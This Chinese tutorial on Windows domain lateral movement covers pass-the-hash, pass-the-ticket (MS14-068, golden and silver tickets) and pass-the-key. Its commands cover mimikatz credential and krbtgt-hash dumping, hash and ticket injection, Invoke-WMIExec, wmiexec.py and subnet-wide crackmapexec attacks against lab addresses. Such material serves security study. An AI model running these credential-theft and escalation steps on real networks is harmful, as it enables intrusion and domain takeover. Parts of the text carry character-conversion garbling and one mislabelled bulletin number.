5.内网渗透之PTH&PTT&PTK
----------------------------------------------
本文參考自三好學(xué)生-域滲透系列文章
內(nèi)網(wǎng)滲透之PTH&PTT&PTK
PTH(pass-the-hash)
pass-the-hash在內(nèi)網(wǎng)滲透中是一種很經(jīng)典的攻擊方式,原理就是攻擊者可以直接通過LM Hash和NTLM Hash訪問遠(yuǎn)程主機或服務(wù),而不用提供明文密碼。
pass the hash原理:
在Windows系統(tǒng)中,通常會使用NTLM身份認(rèn)證
NTLM認(rèn)證不使用明文口令,而是使用口令加密后的hash值,hash值由系統(tǒng)API生成(例如LsaLogonUser)
hash分為LM hash和NT hash,如果密碼長度大于15,那么無法生成LM hash。從Windows Vista和Windows Server 2008開始,微軟默認(rèn)禁用LM hash
如果攻擊者獲得了hash,就能夠在身份驗證的時候模擬該用戶(即跳過調(diào)用API生成hash的過程)
這類攻擊適用于:
域/工作組環(huán)境
可以獲得hash,但是條件不允許對hash爆破
內(nèi)網(wǎng)中存在和當(dāng)前機器相同的密碼
微軟也對pth打過補丁,然而在測試中發(fā)現(xiàn),在打了補丁后,常規(guī)的Pass The Hash已經(jīng)無法成功,唯獨默認(rèn)的Administrator(SID 500)賬號例外,利用這個賬號仍可以進行Pass The Hash遠(yuǎn)程ipc連接。
如果禁用了ntlm認(rèn)證,PsExec無法利用獲得的ntlm hash進行遠(yuǎn)程連接,但是使用mimikatz還是可以攻擊成功。
從windows到windows橫向pth這一類攻擊方法比較廣泛
Mimikatz
mimikatz的pth功能需要本地管理員權(quán)限,這是由它的實現(xiàn)機制決定的,需要先獲得高權(quán)限進程lsass.exe的信息
對于8.1/2012r2,安裝補丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
使用mimikatz先獲取hash:
privilege::debug
sekurlsa::logonpasswords
得到hash后
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7
可以看到NTML hash已經(jīng)對workgroup使用,這樣的話訪問遠(yuǎn)程主機或服務(wù),就不用提供明文密碼
pass the hash成功~
wmiexec
windows 管理規(guī)范[WMI]”,實際上就是windows從03/xp開始就一直內(nèi)置的一個系統(tǒng)插件,其設(shè)計初衷之
一是為了管理員能更加方便的對遠(yuǎn)程windows主機進行各種日常管理,此處我們不妨先來簡單來試著想一下,
對windows的遠(yuǎn)程管理到底意味著什么,沒錯,它意味著我們可以直接在本地操作遠(yuǎn)程目標(biāo)機器上的進程,服
務(wù),注冊表等其它的一系列的特權(quán)操作,嚴(yán)格來說它其實是為各種服務(wù)提供一個統(tǒng)一的調(diào)用接口而設(shè)計的,比
如,你想操作什么服務(wù)就去調(diào)用對應(yīng)的服務(wù)類中的方法去執(zhí)行你的操作就行,不過,單對于內(nèi)網(wǎng)橫向移動來講,
我們可以暫時先不用把它理解的 非常細(xì)致,畢竟不是在專門做針對性的防御產(chǎn)品,也正是由于此功效,在正常
的管理員的眼里 wmi 可能確實是一把遠(yuǎn)程管理的好手,但在滲透者眼中,它也同樣是一把在目標(biāo)內(nèi)網(wǎng)進行橫
向移動的非常趁手的武器
wmiexec是對windows自帶的wmic做了一些強化,讓滲透變得更容易。只能說很多工具吧,比較好用的在這里介紹兩種:
第一種:
https://github.com/Kevin-Robertson/Invoke-TheHash
其他攻擊手法可以看下readme,這里只簡單的對pth做一下實驗:
Invoke-Module Invoke-TheHash.psd1
Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
查看192.168.3.21機器,發(fā)現(xiàn)calc.exe進程已經(jīng)啟動
另外還有Invoke-SMB等腳本都可以進行利用,利用方法也差不多一樣:
Invoke-SMBExec
支持SMB1, SMB2 (2.1), and SMB signing
Invoke-SMBExec -Target 192.168.3.21 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
通過在目標(biāo)主機創(chuàng)建服務(wù)執(zhí)行命令,所以權(quán)限為system
Invoke-SMBClient
支持SMB1, SMB2 (2.1), and SMB signing,如果只有SMB文件共享的權(quán)限,沒有遠(yuǎn)程執(zhí)行權(quán)限,可以使用該腳本。
支持的功能包括列舉目錄、上傳文件、下載文件、刪除文件(具體權(quán)限取決于該口令hash的權(quán)限)
第二種:
wmiexec.py 腳本地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
wmiexec.exe 通過python impacket庫實現(xiàn)的,生成的exe有點大,5M大小在實戰(zhàn)起來有點不方便 :https://github.com/maaaaz/impacket-examples-windows
wmiexec.py的注釋中提示"Main advantage here is it runs under the user (has to be Admin) account",經(jīng)實際測試普通用戶權(quán)限即可
參數(shù)實例:
wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 workgroup/administrator@192.168.3.21 "whoami"
wmiexec.py的hash參數(shù)格式為 LM Hash:NT Hash ,由于該Hash來自于Server 2008,系統(tǒng)默認(rèn)不支持LM hash,所以LM hash可以設(shè)定為任意值
CrackMapExec
CrackMapExec可以對C段中的主機進行批量pth,項目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令:
crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7
對192.168.3.0/24 C段進行批量pass the hash
PTT(pass the ticket)
ptt攻擊的部分就不是簡單的NTLM認(rèn)證了,它是利用Kerberos協(xié)議進行攻擊的,這里就介紹三種常見的攻擊方法:
MS16-068,Golden ticket,SILVER ticket。
之前介紹了Kerberos協(xié)議具體工作方法,在域中,簡要介紹一下:
客戶機將明文密碼進行NTLM哈希,然后和時間戳一起加密(使用krbtgt密碼hash作為密鑰),發(fā)送給kdc(域控),kdc對用戶進行檢測,成功之后創(chuàng)建TGT(Ticket-Granting Ticket)
將TGT進行加密簽名返回給客戶機器,只有域用戶krbtgt才能讀取kerberos中TGT數(shù)據(jù)
然后客戶機將TGT發(fā)送給域控制器KDC請求TGS(票證授權(quán)服務(wù))票證,并且對TGT進行檢測
檢測成功之后,將目標(biāo)服務(wù)賬戶的NTLM以及TGT進行加密,將加密后的結(jié)果返回給客戶機。
ms14-068
MS14-068是密鑰分發(fā)中心(KDC)服務(wù)中的Windows漏洞。它允許經(jīng)過身份驗證的用戶在其Kerberos票證(TGT)中
插入任意PAC(表示所有用戶權(quán)限的結(jié)構(gòu))。該漏洞位于kdcsvc.dll域控制器的密鑰分發(fā)中心(KDC)中。用戶可以通過
呈現(xiàn)具有改變的PAC的Kerberos TGT來獲得票證.
ms14-068詳細(xì)介紹:https://www.freebuf.com/vuls/56081.html
簡單來說就是:
windows域中使用kerberos協(xié)議過程中,為了讓SS服務(wù)器判斷Client是否有權(quán)限訪問服務(wù),引入了PAC機制。構(gòu)造PAC也是這個漏洞的根本。 1. 在請求AS時,將require_PAC設(shè)置成False。 2. 在請求TGS時,構(gòu)造PAC,然后使用MD5簽名(PAC尾部的簽名算法可以任意指定),PAC并沒有放在TGT中發(fā)送,而是在請求包的其他位置(但是還是可以解析)。 3. TGS_REP返回的不是會話密鑰,而是返回的帶PAC的TGT(微軟的鍋)
造成的危害是允許域內(nèi)任何一個普通用戶,將自己提升至域管權(quán)限。微軟給出的補丁是kb3011780
下面來介紹一下ms14-068的利用過程:
1.使用 whoami/user 得到普通域用戶的sid
2.執(zhí)行payload生成TGT票據(jù):
利用工具:ms14-068
使用方法:
ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器地址 -p 域成員密碼
運行實例:
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
如果操作正確,且域機器是可以和域控制器互通則會創(chuàng)建.ccache文件
3.票據(jù)注入:
使用mimikatz將票據(jù)注入到當(dāng)前內(nèi)存中,偽造憑證,如果成功則擁有域管理權(quán)限,可任意訪問域中所有機器
mimikatz # kerberos::purge //清空當(dāng)前機器中所有憑證,如果有域成員憑證會影響憑證偽造 mimikatz # kerberos::list //查看當(dāng)前機器憑證 mimikatz # kerberos::ptc 票據(jù)文件 //將票據(jù)注入到內(nèi)存中
顯示Injecting ticket : OK就表示注入成功了~
4.查看注入是否成功并且登錄域控:
查看klist:
發(fā)現(xiàn)已經(jīng)將憑證注入進去了~下面可以使用net use進行登錄,或者使用psexec,wmi等方法進行遠(yuǎn)程執(zhí)行命令。注意,這里登錄時,要使用機器名,不要使用IP,否則沒辦法攻擊成功。
可以看到我們已經(jīng)提升到域控權(quán)限。
考慮到mimikatz的pth功能需要本地管理員權(quán)限,所以mimikatz也提供了不需要管理員權(quán)限的解決方法Pass-The-Ticket
Pass-The-Ticket需要用到gentilkiwi開源的另一款工具kekeo,下載地址:https://github.com/gentilkiwi/kekeo/releases
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
執(zhí)行后生成票據(jù) :
TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
接下來導(dǎo)入票據(jù):
kekeo "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"
成功獲得了域控的訪問權(quán)限:
Golden ticket(黃金票據(jù))
Golden ticket的作用是可以生成任意用戶的tgt,那么問題就來了,是什么條件能夠讓他生成任意用戶的tgt呢?還得要看kerberos認(rèn)證的過程,在windows認(rèn)證過程中,客戶端將自己的信息發(fā)送給KDC,然后KDC使用krbtgt用戶密碼的hash作為密鑰進行加密,生成TGT。
那么如果獲取到了krbtgt的密碼hash值,是不是就可以偽造任意tgt了。因為krbtgt只有域控制器上面才有,所以使用黃金憑據(jù)意味著你之前拿到過域控制器的權(quán)限,黃金憑據(jù)可以理解為一個后門
偽造黃金憑據(jù)需要具備下面條件:
krbtgt用戶的hash(就意味著你已經(jīng)有域控制器權(quán)限了)
域名稱
域的SID值
要偽造的用戶名
先登錄域控制器,dump krbtgt用戶的hash值,獲取域sid:
privilege::debug lsadump::lsa /patch
切換到普通域用戶的機器,生成TGT憑證,用戶名為administrator:
然后使用mimikatz將憑證注入進去,攻擊成功:
mimikatz # kerberos::ptt test.kirbi
如果主機開啟了RPC服務(wù),還可以使用WmiExec.vbs直接連接:
Silver ticket(白銀票據(jù))
silver ticket和golden ticket不同的是,它不需要和域控制器進行通信,原理是偽造TGS,使用的是計算機賬戶的hash進行加密的,所以只能訪問指定的權(quán)限。
不像是Golden ticket,是由krgtgt用戶的密碼hash進行加密,偽造tgt可以獲取到所有權(quán)限。
白銀票據(jù)這里只是對單一的服務(wù)進行授權(quán),利用過程和golden ticket差不多,首先上域控制器中,把機器的ntlm hash(rc4加密) dump下來,然后在普通域用戶機器進行偽造權(quán)限,進行ptt.
1.首先登錄域控,dump機器hash
privilege::debug
sekurlsa::logonpasswords
2.將hash保存下來,在普通域用戶機器中進行ptt
kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:192.168.3.21 /rc4:8432d4fa4430ecf56927dbabd1b4d36b /service:cifs /user:mary /ptt
這里的cifs是指的文件共享服務(wù),有了cifs服務(wù)權(quán)限,就可以訪問域控制器的文件系統(tǒng):
PTK(pass the key)
還是使用的mimikatz工具,不過需免殺。
獲取用戶的aes key:
mimikatz "privilege::debug" "sekurlsa::ekeys"
注入aes key:
mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"
成功注入aes256,嘗試遠(yuǎn)程連接:
如果拒絕訪問的話嘗試安裝kb2871997補丁
參考鏈接:
https://www.anquanke.com/post/id/159959
https://klionsec.github.io/2016/08/10/ntlm-kerberos/
https://mp.weixin.qq.com/s/7YidkhJvmVBxFhYcD7pIfQ
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0/
https://adsecurity.org/?p=1515
https://github.com/gentilkiwi/kekeo/wiki/ms14068
http://wooyun.jozxing.cc/static/drops/tips-12159.html
http://www.freebuf.com/vuls/56081.html
http://blog.51cto.com/z2ppp/2060695
總結(jié)
以上是生活随笔為你收集整理的5.内网渗透之PTH&PTT&PTK的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 用Python教你如何爬取脉脉职言
- 下一篇: 第01组 Alpha冲刺(2/4)